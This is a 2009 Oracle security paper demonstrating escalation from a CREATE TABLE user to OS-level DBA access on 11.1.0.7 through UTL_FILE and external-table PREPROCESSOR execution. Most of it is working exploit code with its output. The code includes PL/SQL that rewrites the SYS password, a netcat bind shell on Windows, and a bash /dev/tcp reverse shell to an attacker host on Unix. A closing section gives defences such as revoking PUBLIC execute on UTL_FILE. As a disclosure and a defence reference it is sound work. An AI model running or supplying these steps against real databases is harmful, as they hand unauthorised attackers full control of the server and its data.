

CREATE TABLE to OSDBA Reverse Shell

<http://www.oracleforensics.com/wordpress/index.php/2009/10/14/create-table-to-osdba>

Paul M. Wright 18/10/2009

GSE-M, GSOC, GCFA, GCIH, GCIA, GNET, GSEC, GWAS, GCFW, GHTQ, SSP-GHD, GREM.

Summary

This paper shows how to escalate an Oracle DB user with `CREATE TABLE` privilege to OSDBA, by using a left over Directory with the `EXECUTE` directory privilege.

The version of Oracle tested is 11.1.0.7 ~ *nix and Windows versions. Oracle Corp were previously informed and recommended by the Author to revoke `PUBLIC` execute on `UTL_FILE` in future releases. The implication of this vulnerability is that DBAs should equate granting `EXECUTE` on a Directory to a user with `CREATE TABLE` as being equivalent to granting OSDBA.

Demo on 11.1.0.7 Windows and UNIX

--Prepare the low privileged attacker account

```
SQL> create user ctto identified by ctto;
User created.
```

```
SQL> grant create session to ctto;
Grant succeeded.
```

```
SQL> grant create table to ctto;
Grant succeeded.
```

```
SQL> grant all on directory log_dir to public;
Grant succeeded.
```

```
SQL> conn ctto/ctto
Connected.
```

```
SQL> select * from user_role_privs;
no rows selected
```

```
SQL> select * from user_sys_privs;
USERNAME                                PRIVILEGE                                ADM
-----                                -
CTTO                                     CREATE SESSION                            NO
CTTO                                     CREATE TABLE                             NO
```

```
SQL> select * from user_tab_privs;
no rows selected
```

--Low privileged attacker CTTO account looks for a directory left open, which is usually the case. On 10g this could give READ/WRITE but on 11g there is the new EXECUTE privilege thus allowing OS files to be executed via the DB Directory.

```
SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
and privilege='EXECUTE' ORDER BY GRANTEE;
```

```
TABLE_NAME
-----
LOG_DIR
```

```
SQL> SELECT DIRECTORY_PATH FROM ALL_DIRECTORIES WHERE DIRECTORY_NAME='LOG_DIR';
DIRECTORY_PATH
```

```
-----
C:\SCRIPTS
```

Windows CREATE TABLE to SYSDBA and OSDBA

--Write a batch file to the OS that will call the second .sql (using PUBLIC UTL_FILE execute)

```
declare
  f utl_file.file_type;
  s varchar2(200) := 'sqlplus -S -L / as sysdba
@c:\scripts\changepassword.sql';
begin
  f := utl_file.fopen('LOG_DIR','changesyspw.bat','W');
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/
```

--write the changepassword.sql that will be called by the batch file.

```
declare
  f utl_file.file_type;
  s varchar2(200) := 'alter user sys identified by newpassword;';
begin
  f := utl_file.fopen('LOG_DIR','changepassword.sql','W');
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/
```

--Execute shell script via external table ¹

```
CREATE TABLE execute_mybinary( "testrow" VARCHAR2(60))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader DEFAULT DIRECTORY LOG_DIR
  ACCESS PARAMETERS (
    RECORDS DELIMITED BY NEWLINE
    PREPROCESSOR LOG_DIR:'changesyspw.bat' OPTIONS '-R'
    BADFILE LOG_DIR:'execute_mybinary.bad'
    LOGFILE LOG_DIR:'execute_mybinary.log'
    FIELDS TERMINATED BY '|'
    MISSING FIELD VALUES ARE NULL (
      "testrow" ) )
  LOCATION ('changesyspw.bat'))
REJECT LIMIT UNLIMITED;
```

--from another sys session

```
SQL> select password from sys.user$ where name='SYS';
PASSWORD
-----
5638228DAF52805F
```

--as CTTO low privilege attacker executes the .bat via the SELECT statement

```
select count(*) from execute_mybinary;
```

--You will receive an KUP-04095 error but the script will change the SYS password,

```
SQL> select password from sys.user$ where name='SYS';
PASSWORD
-----
66A86F065449C773
```

--Tested and working on 11.1.0.7

```
SQL> select * from v$version;
BANNER
-----
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
PL/SQL Release 11.1.0.7.0 - Production
CORE 11.1.0.7.0 Production
TNS for 32-bit Windows: Version 11.1.0.7.0 - Production
NLSRTL Version 11.1.0.7.0 - Production
```

¹ <http://structureddata.org/2008/11/19/preprocessor-for-external-tables/> and http://www.red-database-security.com/tutorial/run_os_commands_via_create_table.html

Also low privileged attacker can write nc.exe binary to the OS using **UTL_FILE** binary mode as per method outlined in <http://www.oracleforensics.com/wordpress/index.php/2008/10/10/create-any-directory-to-sysdba/>

--shovelling a shell on windows using netcat via SELECT statement.

```
CREATE TABLE execute_mybinary( "testrow" VARCHAR2(60))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader DEFAULT DIRECTORY log_dir
  ACCESS PARAMETERS (
    RECORDS DELIMITED BY NEWLINE
    PREPROCESSOR log_dir:'nc.exe' OPTIONS ' -v -l -p 3333 -e'
    BADFILE log_dir: 'execute_mybinary.bad'
    LOGFILE log_dir : 'execute_mybinary.log'
    FIELDS TERMINATED BY '|'
    MISSING FIELD VALUES ARE NULL (
      "testrow"      ) )
  LOCATION ('cmd.exe'))
REJECT LIMIT UNLIMITED;

select count(*) from execute_mybinary;

C:\Documents and Settings\attacker>nc remoteoracleserver 3333
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\app\product\11.1.0\db_1\DATABASE>
```

The resulting reverse shell will act as OSDBA. The key is that once the script is placed on the OS via the **PUBLIC UTL_FILE** execute and then executed via a DB Directory **SELECT** it then acts with the rights of OSDBA and can carry out an action oracle OS user can. This completely bypasses any attempts to control access to the OS by directory paths in the **CREATE DIRECTORY** statement. Therefore when Directory **EXECUTE** is given on a Directory to a user with **CREATE TABLE** the effective grant is OSDBA. This is obviously not the intended GRANT and should be considered as an Achilles heel in Oracle DB security. Let's look at OSDBA reverse shells more closely using a UNIX demo which is slightly more complex due to the requirement for execute on the OS file itself.

UNIX specific stage ~ OSDBA Reverse Shell

Netcat has been included in RedHat Enterprise for a while but the nc -e switch for reverse shell shovelling has been deprecated unless using the **GAPING_SECURITY_HOLE** directive when compiling nc. However Redhat have instead chosen to allow raw TCP socket access by default from bash which makes the job of sending a reverse shell even easier than using netcat.

--Write over the executable in the open directory **LOG_DIR** (the directory contents can be listed using Java ² if necessary. Searching through **sql_text** or **DBA_SOURCE** should enable a listing of the open directory name without needing to compile Java).

```
declare
  f utl_file.file_type;
  r varchar2(200) := '#!/bin/sh';
  s varchar2(200) := '/bin/bash -i >& /dev/tcp/UKDEVORC002/3333 0>&1';
begin
  f := utl_file.fopen('LOG_DIR','previously_existing.sh','W');
  utl_file.put_line(f,r);
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/
```

--Note that even though the contents of the previously existing shell script on the OS have been completely overwritten the OS file execute privileges stay the same on the new version of the script.

² http://asktom.oracle.com/pls/asktom/f?p=100:11:0:::P11_QUESTION_ID:439619916584

--Run the overwritten shell script using a table (-R is just to get the external table to work)

```
CREATE TABLE execute_mybinary( "testrow" VARCHAR2(80))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader DEFAULT DIRECTORY LOG_DIR
  ACCESS PARAMETERS (
    RECORDS DELIMITED BY NEWLINE
    PREPROCESSOR LOG_DIR:'previously_existing.sh' OPTIONS '-R'
    BADFILE LOG_DIR: 'execute_mybinary.bad'
    LOGFILE LOG_DIR: 'execute_mybinary.log'
    FIELDS TERMINATED BY '|'
    MISSING FIELD VALUES ARE NULL (
      "testrow"      ) )
  LOCATION ('.'))
REJECT LIMIT UNLIMITED;
```

--From the low privileged attacker's DB account execute the overwritten executable.

```
select count(*) from execute_mybinary;
```

--At the attacker's remote machine they receive the OSDBA shell from the Oracle server.

```
[hacker@attackerbox /]$ nc -v -l -p 3333
listening on [any] 3333 ...
connect to [10.3.11.40] from dbserver [10.2.8.241] 22876
bash: no job control in this shell
bash: id: No such file or directory
bash: id: No such file or directory
bash: dircolors: No such file or directory
```

--Low priv user's command prompt drops to a remote OSDBA shell from the DB server.

```
[oracle@dbserver dbs]$ /usr/bin/id
uid=500(oracle) gid=502(oinstall) groups=501(dba),502(oinstall)
context=user_u:system_r:unconfined_t
```

Again once the OS based shell script is executed via **SELECTING** the table the .sh can act on any part of the OS owned by Oracle thus bypassing any Oracle directory controls. Given that 11g has increased the risk of Directory abuse with the execute privilege it would be wise to remove **PUBLIC** execute on **UTL_FILE**.

How to defend against this threat

To cure this DBAs should always revoke execute from **PUBLIC** on **UTL_FILE** and then grant back to the individual user whom requires the privilege.

```
REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;
```

Additionally Directory privileges should only be granted to the user that requires them for the time required. Also it should be understood that granting execute on a directory to a user who has **CREATE TABLE** is equivalent to granting OSDBA and thus defence in depth should be employed at the OS as well as the DB. This means disabling **/dev/tcp** raw sockets which is enabled by default in RedHat Enterprise 5 (but not Debian).

Most importantly it should be recognised that even after all the security measures that are recommended have been deployed there is still the likelihood that a new vulnerability will arise. The author is aware of currently unpublished zero days that affect both 11g and 10g *NIX/NT when fully patched and give DBA to a user with just **CREATE SESSION** using a default installation. Therefore it is not good enough to simply secure the system to current thinking. Assurance has to be provided that the security measures are actually effective and are working to protect against tomorrow's attacks. This is where an effective and secure Database Activity Monitoring System is critical (DAMS). For information about how to protect against new 11g zero day vulnerabilities it is well worth attending the SANS course on this subject taught by the Author of this paper at the URL below.

<http://www.sans.org/london09/description.php?tid=3602>